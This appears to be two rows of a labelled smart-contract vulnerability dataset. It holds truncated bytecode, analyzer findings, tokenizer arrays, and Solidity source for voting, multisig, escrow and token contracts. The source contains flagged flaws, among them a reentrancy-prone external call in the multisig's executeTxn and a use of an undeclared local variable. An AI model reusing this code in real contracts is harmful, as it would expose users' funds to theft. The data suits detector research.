fe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a7230582055a6df51b2127f6f370dace360fb02741159ea57f3a6602e1dcb9e667876b4940029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 7959, 2549, 2063, 2487, 27421, 25746, 9468, 2683, 2063, 2620, 2487, 20961, 11057, 2683, 2581, 2620, 2581, 2063, 21472, 2509, 2546, 2575, 2094, 2620, 2497, 27814, 2094, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,321
0x96906c50c41b3252279c3e2cddc4a59493aadace
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract Voter { struct Proposal{ bytes32 name; } struct Ballot{ bytes32 name; address chainperson; bool blind; bool finished; } struct votedData{ uint256 proposal; bool isVal; } event Vote( address votedPerson, uint256 proposalIndex ); event Finish( bool finished ); mapping (address => mapping(uint256 => mapping(address => votedData))) votedDatas; mapping (address => mapping(uint256 => address[])) voted; mapping (address => mapping(uint256 => mapping(uint256 => uint256))) voteCount; mapping (address => Ballot[]) public ballots; mapping (address => mapping(uint256 => Proposal[])) public proposals; function getBallotsNum(address chainperson) public constant returns (uint count) { return ballots[chainperson].length; } function getProposalsNum(address chainperson, uint ballot) public constant returns (uint count) { return proposals[chainperson][ballot].length; } function getBallotIndex(address chainperson, bytes32 ballotName) public constant returns (uint index){ for (uint i=0;i<ballots[chainperson].length;i++){ if (ballots[chainperson][i].name == ballotName){ return i; } } } function isVoted(address chainperson, uint ballot) public constant returns (bool result){ for (uint8 i=0;i<voted[chainperson][ballot].length;i++){ if (voted[chainperson][ballot][i] == msg.sender){ return true; } } return false; } function startNewBallot(bytes32 ballotName, bool blindParam, bytes32[] proposalNames) external returns (bool success){ for (uint8 y=0;y<ballots[msg.sender].length;y++){ if (ballots[msg.sender][i].name == ballotName){ revert(); } } ballots[msg.sender].push(Ballot({ name: ballotName, chainperson: msg.sender, blind: blindParam, finished: false })); uint ballotsNum = ballots[msg.sender].length; for (uint8 i=0;i<proposalNames.length;i++){ proposals[msg.sender][ballotsNum-1].push(Proposal({name:proposalNames[i]})); } return true; } function getVoted(address chainperson, uint256 ballot) public constant returns (address[]){ if (ballots[chainperson][ballot].blind == true){ revert(); } return voted[chainperson][ballot]; } function getVotesCount(address chainperson, uint256 ballot, bytes32 proposalName) public constant returns (uint256 count){ if (ballots[chainperson][ballot].blind == true){ revert(); } for (uint8 i=0;i<proposals[chainperson][ballot].length;i++){ if (proposals[chainperson][ballot][i].name == proposalName){ return voteCount[chainperson][ballot][i]; } } } function getVotedData(address chainperson, uint256 ballot, address voter) public constant returns (uint256 proposalNum){ if (ballots[chainperson][ballot].blind == true){ revert(); } if (votedDatas[chainperson][ballot][voter].isVal == true){ return votedDatas[chainperson][ballot][voter].proposal; } } function vote(address chainperson, uint256 ballot, uint256 proposalNum) external returns (bool success){ if (ballots[chainperson][ballot].finished == true){ revert(); } for (uint8 i = 0;i<voted[chainperson][ballot].length;i++){ if (votedDatas[chainperson][ballot][msg.sender].isVal == true){ revert(); } } voted[chainperson][ballot].push(msg.sender); voteCount[chainperson][ballot][proposalNum]++; votedDatas[chainperson][ballot][msg.sender] = votedData({proposal: proposalNum, isVal: true}); Vote(msg.sender, proposalNum); return true; } function getProposalIndex(address chainperson, uint256 ballot, bytes32 proposalName) public constant returns (uint index){ for (uint8 i=0;i<proposals[chainperson][ballot].length;i++){ if (proposals[chainperson][ballot][i].name == proposalName){ return i; } } } function finishBallot(bytes32 ballot) external returns (bool success){ for (uint8 i=0;i<ballots[msg.sender].length;i++){ if (ballots[msg.sender][i].name == ballot) { if (ballots[msg.sender][i].chainperson == msg.sender){ ballots[msg.sender][i].finished = true; Finish(true); return true; } else { return false; } } } } function getWinner(address chainperson, uint ballotIndex) public constant returns (bytes32 winnerName){ if (ballots[chainperson][ballotIndex].finished == false){ revert(); } uint256 maxVotes; bytes32 winner; for (uint8 i=0;i<proposals[chainperson][ballotIndex].length;i++){ if (voteCount[chainperson][ballotIndex][i]>maxVotes){ maxVotes = voteCount[chainperson][ballotIndex][i]; winner = proposals[chainperson][ballotIndex][i].name; } } return winner; } } contract Multisig { /* * Types */ struct Transaction { uint id; address destination; uint value; bytes data; TxnStatus status; address[] confirmed; address creator; } struct Wallet { bytes32 name; address creator; uint id; uint allowance; address[] owners; Log[] logs; Transaction[] transactions; uint appovalsreq; } struct Log { uint amount; address sender; } enum TxnStatus { Unconfirmed, Pending, Executed } /* * Modifiers */ modifier onlyOwner ( address creator, uint walletId ) { bool found; for (uint i = 0;i<wallets[creator][walletId].owners.length;i++){ if (wallets[creator][walletId].owners[i] == msg.sender){ found = true; } } if (found){ _; } } /* * Events */ event WalletCreated(uint id); event TxnSumbitted(uint id); event TxnConfirmed(uint id); event topUpBalance(uint value); /* * Storage */ mapping (address => Wallet[]) public wallets; /* * Constructor */ function ibaMultisig() public{ } /* * Getters */ function getWalletId(address creator, bytes32 name) external view returns (uint, bool){ for (uint i = 0;i<wallets[creator].length;i++){ if (wallets[creator][i].name == name){ return (i, true); } } } function getOwners(address creator, uint id) external view returns (address[]){ return wallets[creator][id].owners; } function getTxnNum(address creator, uint id) external view returns (uint){ require(wallets[creator][id].owners.length > 0); return wallets[creator][id].transactions.length; } function getTxn(address creator, uint walletId, uint id) external view returns (uint, address, uint, bytes, TxnStatus, address[], address){ Transaction storage txn = wallets[creator][walletId].transactions[id]; return (txn.id, txn.destination, txn.value, txn.data, txn.status, txn.confirmed, txn.creator); } function getLogsNum(address creator, uint id) external view returns (uint){ return wallets[creator][id].logs.length; } function getLog(address creator, uint id, uint logId) external view returns (address, uint){ return(wallets[creator][id].logs[logId].sender, wallets[creator][id].logs[logId].amount); } /* * Methods */ function createWallet(uint approvals, address[] owners, bytes32 name) external payable{ /* check if name was actually given */ require(name.length != 0); /*check if approvals num equals or greater than given owners num*/ require(approvals <= owners.length); /* check if wallets with given name already exists */ bool found; for (uint i = 0; i<wallets[msg.sender].length;i++){ if (wallets[msg.sender][i].name == name){ found = true; } } require (found == false); /*instantiate new wallet*/ uint currentLen = wallets[msg.sender].length++; wallets[msg.sender][currentLen].name = name; wallets[msg.sender][currentLen].creator = msg.sender; wallets[msg.sender][currentLen].id = currentLen; wallets[msg.sender][currentLen].allowance = msg.value; wallets[msg.sender][currentLen].owners = owners; wallets[msg.sender][currentLen].appovalsreq = approvals; emit WalletCreated(currentLen); } function topBalance(address creator, uint id) external payable { require (msg.value > 0 wei); wallets[creator][id].allowance += msg.value; /* create new log entry */ uint loglen = wallets[creator][id].logs.length++; wallets[creator][id].logs[loglen].amount = msg.value; wallets[creator][id].logs[loglen].sender = msg.sender; emit topUpBalance(msg.value); } function submitTransaction(address creator, address destination, uint walletId, uint value, bytes data) onlyOwner (creator,walletId) external returns (bool) { uint newTxId = wallets[creator][walletId].transactions.length++; wallets[creator][walletId].transactions[newTxId].id = newTxId; wallets[creator][walletId].transactions[newTxId].destination = destination; wallets[creator][walletId].transactions[newTxId].value = value; wallets[creator][walletId].transactions[newTxId].data = data; wallets[creator][walletId].transactions[newTxId].creator = msg.sender; emit TxnSumbitted(newTxId); return true; } function confirmTransaction(address creator, uint walletId, uint txId) onlyOwner(creator, walletId) external returns (bool){ Wallet storage wallet = wallets[creator][walletId]; Transaction storage txn = wallet.transactions[txId]; //check whether this owner has already confirmed this txn bool f; for (uint8 i = 0; i<txn.confirmed.length;i++){ if (txn.confirmed[i] == msg.sender){ f = true; } } //push sender address into confirmed array if havent found require(!f); txn.confirmed.push(msg.sender); if (txn.confirmed.length == wallet.appovalsreq){ txn.status = TxnStatus.Pending; } //fire event emit TxnConfirmed(txId); return true; } function executeTxn(address creator, uint walletId, uint txId) onlyOwner(creator, walletId) external returns (bool){ Wallet storage wallet = wallets[creator][walletId]; Transaction storage txn = wallet.transactions[txId]; /* check txn status */ require(txn.status == TxnStatus.Pending); /* check whether wallet has sufficient balance to send this transaction */ require(wallet.allowance >= txn.value); /* send transaction */ address dest = txn.destination; uint val = txn.value; bytes memory dat = txn.data; assert(dest.call.value(val)(dat)); /* change transaction's status to executed */ txn.status = TxnStatus.Executed; /* change wallet's balance */ wallet.allowance = wallet.allowance - txn.value; return true; } } contract Escrow{ struct Bid{ bytes32 name; address oracle; address seller; address buyer; uint price; uint timeout; dealStatus status; uint fee; bool isLimited; } enum dealStatus{ unPaid, Pending, Closed, Rejected, Refund } mapping (address => Bid[]) public bids; mapping (address => uint) public pendingWithdrawals; event amountRecieved( address seller, uint bidId ); event bidClosed( address seller, uint bidId ); event bidCreated( address seller, bytes32 name, uint bidId ); event refundDone( address seller, uint bidId ); event withdrawDone( address person, uint amount ); event bidRejected( address seller, uint bidId ); function getBidIndex(address seller, bytes32 name) public constant returns (uint){ for (uint8 i=0;i<bids[seller].length;i++){ if (bids[seller][i].name == name){ return i; } } } function getBidsNum (address seller) public constant returns (uint bidsNum) { return bids[seller].length; } function sendAmount (address seller, uint bidId) external payable{ Bid storage a = bids[seller][bidId]; require(msg.value == a.price && a.status == dealStatus.unPaid); if (a.isLimited == true){ require(a.timeout > block.number); } a.status = dealStatus.Pending; amountRecieved(seller, bidId); } function createBid (bytes32 name, address seller, address oracle, address buyer, uint price, uint timeout, uint fee) external{ require(name.length != 0 && price !=0); bool limited = true; if (timeout == 0){ limited = false; } bids[seller].push(Bid({ name: name, oracle: oracle, seller: seller, buyer: buyer, price: price, timeout: block.number+timeout, status: dealStatus.unPaid, fee: fee, isLimited: limited })); uint bidId = bids[seller].length-1; bidCreated(seller, name, bidId); } function closeBid(address seller, uint bidId) external returns (bool){ Bid storage bid = bids[seller][bidId]; if (bid.isLimited == true){ require(bid.timeout > block.number); } require(msg.sender == bid.oracle && bid.status == dealStatus.Pending); bid.status = dealStatus.Closed; pendingWithdrawals[bid.seller]+=bid.price-bid.fee; pendingWithdrawals[bid.oracle]+=bid.fee; withdraw(bid.seller); withdraw(bid.oracle); bidClosed(seller, bidId); return true; } function refund(address seller, uint bidId) external returns (bool){ require(bids[seller][bidId].buyer == msg.sender && bids[seller][bidId].isLimited == true && bids[seller][bidId].timeout < block.number && bids[seller][bidId].status == dealStatus.Pending); Bid storage a = bids[seller][bidId]; a.status = dealStatus.Refund; pendingWithdrawals[a.buyer] = a.price; withdraw(a.buyer); refundDone(seller,bidId); return true; } function rejectBid(address seller, uint bidId) external returns (bool){ if (bids[seller][bidId].isLimited == true){ require(bids[seller][bidId].timeout > block.number); } require(msg.sender == bids[seller][bidId].oracle && bids[seller][bidId].status == dealStatus.Pending); Bid storage bid = bids[seller][bidId]; bid.status = dealStatus.Rejected; pendingWithdrawals[bid.oracle] = bid.fee; pendingWithdrawals[bid.buyer] = bid.price-bid.fee; withdraw(bid.buyer); withdraw(bid.oracle); bidRejected(seller, bidId); return true; } function withdraw(address person) private{ uint amount = pendingWithdrawals[person]; pendingWithdrawals[person] = 0; person.transfer(amount); withdrawDone(person, amount); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract HideraNetwork { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 8 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function HideraNetwork( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the senders allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract HIDERA is owned, HideraNetwork { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function HIDERA( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 tokenDecimals ) HideraNetwork(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. Its important to do this last to avoid recursion attacks } }
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012c57806306fdde0314610149578063095ea7b3146101d357806318160ddd1461020b57806323b872dd14610232578063313ce5671461025c57806342966c68146102875780634b7503341461029f57806370a08231146102b457806379c65068146102d557806379cc6790146102f95780638620410b1461031d5780638da5cb5b1461033257806395d89b4114610363578063a6f2ae3a14610378578063a9059cbb14610380578063b414d4b6146103a4578063cae9ca51146103c5578063dd62ed3e1461042e578063e4849b3214610455578063e724529c1461046d578063f2fde38b14610493575b600080fd5b34801561013857600080fd5b506101476004356024356104b4565b005b34801561015557600080fd5b5061015e6104d6565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610198578181015183820152602001610180565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b506101f7600160a060020a0360043516602435610563565b604080519115158252519081900360200190f35b34801561021757600080fd5b506102206105c9565b60408051918252519081900360200190f35b34801561023e57600080fd5b506101f7600160a060020a03600435811690602435166044356105cf565b34801561026857600080fd5b5061027161063e565b6040805160ff9092168252519081900360200190f35b34801561029357600080fd5b506101f7600435610647565b3480156102ab57600080fd5b506102206106bf565b3480156102c057600080fd5b50610220600160a060020a03600435166106c5565b3480156102e157600080fd5b50610147600160a060020a03600435166024356106d7565b34801561030557600080fd5b506101f7600160a060020a036004351660243561078d565b34801561032957600080fd5b5061022061085e565b34801561033e57600080fd5b50610347610864565b60408051600160a060020a039092168252519081900360200190f35b34801561036f57600080fd5b5061015e610873565b6101476108cb565b34801561038c57600080fd5b506101f7600160a060020a03600435166024356108eb565b3480156103b057600080fd5b506101f7600160a060020a0360043516610901565b3480156103d157600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101f7948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506109169650505050505050565b34801561043a57600080fd5b50610220600160a060020a0360043581169060243516610a2f565b34801561046157600080fd5b50610147600435610a4c565b34801561047957600080fd5b50610147600160a060020a03600435166024351515610aa0565b34801561049f57600080fd5b50610147600160a060020a0360043516610b1b565b600054600160a060020a031633146104cb57600080fd5b600791909155600855565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561055b5780601f106105305761010080835404028352916020019161055b565b820191906000526020600020905b81548152906001019060200180831161053e57829003601f168201915b505050505081565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b600160a060020a03831660009081526006602090815260408083203384529091528120548211156105ff57600080fd5b600160a060020a0384166000908152600660209081526040808320338452909152902080548390039055610634848484610b61565b5060019392505050565b60035460ff1681565b3360009081526005602052604081205482111561066357600080fd5b3360008181526005602090815260409182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60075481565b60056020526000908152604090205481565b600054600160a060020a031633146106ee57600080fd5b600160a060020a03821660009081526005602090815260408083208054850190556004805485019055805184815290513093927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3604080518281529051600160a060020a0384169130917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a0382166000908152600560205260408120548211156107b257600080fd5b600160a060020a03831660009081526006602090815260408083203384529091529020548211156107e257600080fd5b600160a060020a0383166000818152600560209081526040808320805487900390556006825280832033845282529182902080548690039055600480548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60085481565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561055b5780601f106105305761010080835404028352916020019161055b565b6000600854348115156108da57fe5b0490506108e8303383610b61565b50565b60006108f8338484610b61565b50600192915050565b60096020526000908152604090205460ff1681565b6000836109238185610563565b15610a27576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156109bb5781810151838201526020016109a3565b50505050905090810190601f1680156109e85780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610a0a57600080fd5b505af1158015610a1e573d6000803e3d6000fd5b50505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b6007543090820281311015610a6057600080fd5b610a6b333084610b61565b6007546040513391840280156108fc02916000818181858888f19350505050158015610a9b573d6000803e3d6000fd5b505050565b600054600160a060020a03163314610ab757600080fd5b600160a060020a038216600081815260096020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600054600160a060020a03163314610b3257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610b7657600080fd5b600160a060020a038316600090815260056020526040902054811115610b9b57600080fd5b600160a060020a0382166000908152600560205260409020548181011015610bc257600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610be857600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610c0e57600080fd5b600160a060020a03808416600081815260056020908152604080832080548790039055938616808352918490208054860190558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050505600a165627a7a7230582042268fd6f6c8c3d44c3393276fb710b40fa58b5a7f7a3787360f78866e9db8cd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
